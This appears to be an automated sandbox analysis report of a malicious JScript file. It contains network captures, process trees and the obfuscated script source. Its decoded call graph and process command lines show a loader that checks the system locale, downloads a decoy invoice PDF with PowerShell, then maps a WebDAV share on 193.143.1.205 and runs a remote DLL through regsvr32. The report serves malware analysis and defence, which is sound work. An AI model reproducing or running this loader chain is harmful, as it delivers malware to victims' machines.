Jan 10, 2025 15:01:24.015891075 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015898943 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015913010 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015925884 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015942097 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015943050 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015943050 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015957117 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015991926 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015991926 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.016014099 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016026974 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016093969 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.016128063 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016144037 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016155005 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016165972 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016180038 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016192913 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016197920 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.016197920 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.016206980 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016212940 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.016222000 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016236067 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.016304016 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.016304016 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.250293970 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.398736000 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.825660944 CET	49763	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.830634117 CET	8888	49763	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.832246065 CET	49763	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.832359076 CET	49763	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.837121010 CET	8888	49763	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:25.670871019 CET	8888	49763	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:25.724560976 CET	49763	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:26.266546965 CET	49763	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:38.481026888 CET	55456	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:01:38.485821009 CET	53	55456	1.1.1.1	192.168.2.7
Jan 10, 2025 15:01:38.485930920 CET	55456	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:01:38.490770102 CET	53	55456	1.1.1.1	192.168.2.7
Jan 10, 2025 15:01:38.967045069 CET	55456	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:01:38.972106934 CET	53	55456	1.1.1.1	192.168.2.7
Jan 10, 2025 15:01:38.972259045 CET	55456	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:01:15.612032890 CET	51493	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:01:17.131880045 CET	56273	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:01:32.376457930 CET	56458	53	192.168.2.7	1.1.1.1
Jan 10, 2025 15:01:38.480654001 CET	53	55358	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 15:01:15.612032890 CET	192.168.2.7	1.1.1.1	0xdc1d	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:01:17.131880045 CET	192.168.2.7	1.1.1.1	0x9b4f	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:01:32.376457930 CET	192.168.2.7	1.1.1.1	0xbbf4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 15:01:15.474869967 CET	1.1.1.1	192.168.2.7	0x60cf	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 15:01:15.474869967 CET	1.1.1.1	192.168.2.7	0x60cf	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:01:15.618840933 CET	1.1.1.1	192.168.2.7	0xdc1d	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 15:01:17.138797045 CET	1.1.1.1	192.168.2.7	0x9b4f	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 15:01:32.384987116 CET	1.1.1.1	192.168.2.7	0xbbf4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 15:01:33.117096901 CET	1.1.1.1	192.168.2.7	0xea4d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 15:01:33.117096901 CET	1.1.1.1	192.168.2.7	0xea4d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49747	193.143.1.205	80	6680	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 15:01:22.281284094 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 15:01:23.112598896 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 14:01:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 15:01:23.112621069 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 15:01:23.112648010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 15:01:23.112658978 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 15:01:23.112670898 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 15:01:23.112680912 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 15:01:23.112692118 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 15:01:23.112703085 CET	1236	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 15:01:23.112714052 CET	1236	IN	Data Raw: a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f 60 68 1b 43 3f 0e 62 Data Ascii: /eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3=^
Jan 10, 2025 15:01:23.112724066 CET	108	IN	Data Raw: 00 00 80 69 f0 c5 12 00 6c 81 bf af fa 33 10 7d 7c 1c 3d 8e d0 9c de 38 7a 68 63 7d 0f cd 1d a8 27 bd 49 02 90 ee 65 a9 84 a6 aa 92 d2 8f ce a0 3f fd f4 d3 8f 3f fe f8 c3 0f 3f fc 33 32 fb fb b3 ff 55 aa 68 1a 14 9d 7d 10 c9 43 e5 1e 6a c8 54 a0 Data Ascii: il3}\|=8zhc}'Ie???32Uh}CjTy^CR
Jan 10, 2025 15:01:23.117657900 CET	940	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49763	193.143.1.205	8888	1516	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 15:01:24.832359076 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 15:01:25.670871019 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 14:01:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	09:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1712226379134618467.js"
Imagebase:	0x7ff7d2a40000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll
Imagebase:	0x7ff6fb890000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:01:18
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:01:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	09:01:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6fb890000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:01:23
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e7e80000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:01:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:01:24
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	09:01:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,8993619329335362403,3252811449787906501,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function kuyit() {	kuyit() ➔ undefined
1	ohlti = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var umgvpgx = this[rkftdrnx + yyeajlbac + jiiybhnbr + bcdhw + kiuei + xfvjcyyn + cffppprj + snhda] ( this[wixgl + dygnbfgyh + zrpob + jiiybhnbr + kcqve + rkftdrnx + snhda][uhxiiug + jiiybhnbr + kiuei + yyeajlbac + snhda + kiuei + lumtw + ivkflqex + gouiroot + kiuei + zrpob + snhda] ( wixgl + dygnbfgyh + zrpob + jiiybhnbr + kcqve + rkftdrnx + snhda + pwzwam + dygnbfgyh + hydpbhls + kiuei + jpeau + jpeau ) [erhhtwjxl + kiuei + pmdibigzh + erhhtwjxl + kiuei + yyeajlbac + ucwylkaje] ( yrgifz + iioir + iqtxbvtel + cstabrcu + yaoxtynkx + uhxiiug + pigqqec + erhhtwjxl + erhhtwjxl + iqtxbvtel + rbhwjppa + ueicufx + yaoxtynkx + pigqqec + dygnbfgyh + iqtxbvtel + erhhtwjxl + exgyve + uhxiiug + acubez + cffppprj + snhda + jiiybhnbr + acubez + jpeau + yjflyv + lhqwhsx + yyeajlbac + cffppprj + kiuei + jpeau + exgyve + xfvjcyyn + cffppprj + snhda + kiuei + jiiybhnbr + cffppprj + yyeajlbac + snhda + kcqve + acubez + cffppprj + yyeajlbac + jpeau + exgyve + grpxazl + acubez + zrpob + yyeajlbac + jpeau + kiuei ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ffflih = 0 ; ffflih < ohlti[jpeau + kiuei + cffppprj + pmdibigzh + snhda + hydpbhls] ; ++ ffflih )
4	{
5	if ( umgvpgx == ohlti[ffflih] )
6	{
7	umgvpgx = true;
8	break ;
9	}
10	}
11	if ( umgvpgx !== true )
12	this[wixgl + dygnbfgyh + zrpob + jiiybhnbr + kcqve + rkftdrnx + snhda][ciqogzu + kroajifud + kcqve + snhda] ( );
13	this[wixgl + dygnbfgyh + zrpob + jiiybhnbr + kcqve + rkftdrnx + snhda][uhxiiug + jiiybhnbr + kiuei + yyeajlbac + snhda + kiuei + lumtw + ivkflqex + gouiroot + kiuei + zrpob + snhda] ( wixgl + dygnbfgyh + zrpob + jiiybhnbr + kcqve + rkftdrnx + snhda + pwzwam + dygnbfgyh + hydpbhls + kiuei + jpeau + jpeau ) [jiiybhnbr + kroajifud + cffppprj] ( zrpob + gststfrm + ucwylkaje + yjflyv + dwggdpxo + zrpob + yjflyv + rkftdrnx + acubez + fevuftn + kiuei + jiiybhnbr + bcdhw + hydpbhls + kiuei + jpeau + jpeau + pwzwam + kiuei + cbtzbjnh + kiuei + yjflyv + icvwjp + uhxiiug + acubez + gststfrm + gststfrm + yyeajlbac + cffppprj + ucwylkaje + yjflyv + iukms + xfvjcyyn + cffppprj + ykauvplxw + acubez + nzqyhbs + kiuei + icvwjp + wixgl + kiuei + ivkflqex + erhhtwjxl + kiuei + rhktopm + kroajifud + kiuei + bcdhw + snhda + yjflyv + icvwjp + lumtw + kroajifud + snhda + jlrcszkg + kcqve + jpeau + kiuei + yjflyv + yzvfrti + snhda + kiuei + gststfrm + rkftdrnx + yzvfrti + exgyve + kcqve + cffppprj + ykauvplxw + acubez + kcqve + zrpob + kiuei + pwzwam + rkftdrnx + ucwylkaje + ezomttsd + yjflyv + hydpbhls + snhda + snhda + rkftdrnx + xbwhx + dwggdpxo + dwggdpxo + oulmd + nxctp + piahqewsv + pwzwam + oulmd + rafgfoh + piahqewsv + pwzwam + oulmd + pwzwam + xfsodenjk + kmfsod + rfmrtze + dwggdpxo + kcqve + cffppprj + ykauvplxw + acubez + kcqve + zrpob + kiuei + pwzwam + rkftdrnx + hydpbhls + rkftdrnx + iukms + qsfdvg + qsfdvg + bcdhw + snhda + yyeajlbac + jiiybhnbr + snhda + yjflyv + yzvfrti + snhda + kiuei + gststfrm + rkftdrnx + yzvfrti + exgyve + kcqve + cffppprj + ykauvplxw + acubez + kcqve + zrpob + kiuei + pwzwam + rkftdrnx + ucwylkaje + ezomttsd + qsfdvg + qsfdvg + zrpob + gststfrm + ucwylkaje + yjflyv + dwggdpxo + zrpob + yjflyv + cffppprj + kiuei + snhda + yjflyv + kroajifud + bcdhw + kiuei + yjflyv + exgyve + exgyve + oulmd + nxctp + piahqewsv + pwzwam + oulmd + rafgfoh + piahqewsv + pwzwam + oulmd + pwzwam + xfsodenjk + kmfsod + rfmrtze + ykxiqavto + jrjkzu + jrjkzu + jrjkzu + jrjkzu + exgyve + ucwylkaje + yyeajlbac + ykauvplxw + fevuftn + fevuftn + fevuftn + jiiybhnbr + acubez + acubez + snhda + exgyve + qsfdvg + qsfdvg + zrpob + gststfrm + ucwylkaje + yjflyv + dwggdpxo + zrpob + yjflyv + jiiybhnbr + kiuei + pmdibigzh + bcdhw + ykauvplxw + jiiybhnbr + piahqewsv + xfsodenjk + yjflyv + dwggdpxo + bcdhw + yjflyv + exgyve + exgyve + oulmd + nxctp + piahqewsv + pwzwam + oulmd + rafgfoh + piahqewsv + pwzwam + oulmd + pwzwam + xfsodenjk + kmfsod + rfmrtze + ykxiqavto + jrjkzu + jrjkzu + jrjkzu + jrjkzu + exgyve + ucwylkaje + yyeajlbac + ykauvplxw + fevuftn + fevuftn + fevuftn + jiiybhnbr + acubez + acubez + snhda + exgyve + oulmd + jrjkzu + piahqewsv + xfsodenjk + jrjkzu + xfsodenjk + nxctp + jrjkzu + rafgfoh + nxctp + oulmd + nxctp + nxctp + pwzwam + ucwylkaje + jpeau + jpeau, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll",0,false) ➔ 0
14	}
15	cstabrcu = "M";
16	cstabrcu = "z";
17	cstabrcu = "H";
18	cstabrcu = "Y";
19	dwggdpxo = "c";
20	dwggdpxo = "O";
21	dwggdpxo = "v";
22	dwggdpxo = "g";
23	dwggdpxo = "p";
24	dwggdpxo = "/";
25	lumtw = "n";
26	lumtw = "O";
27	nxctp = "c";
28	nxctp = "n";
29	nxctp = "i";
30	nxctp = "U";
31	nxctp = "c";
32	nxctp = "j";
33	nxctp = "D";
34	nxctp = "f";
35	nxctp = "E";
36	nxctp = "t";
37	nxctp = "h";
38	nxctp = "s";
39	nxctp = "c";
40	nxctp = "T";
41	nxctp = "O";
42	nxctp = "M";
43	nxctp = "z";
44	nxctp = "g";
45	nxctp = "T";
46	nxctp = "A";
47	nxctp = "V";
48	nxctp = "p";
49	nxctp = "C";
50	nxctp = "S";
51	nxctp = "z";
52	nxctp = "U";
53	nxctp = "X";
54	nxctp = "Q";
55	nxctp = "9";
56	xbwhx = "H";
57	xbwhx = "d";
58	xbwhx = "m";
59	xbwhx = "T";
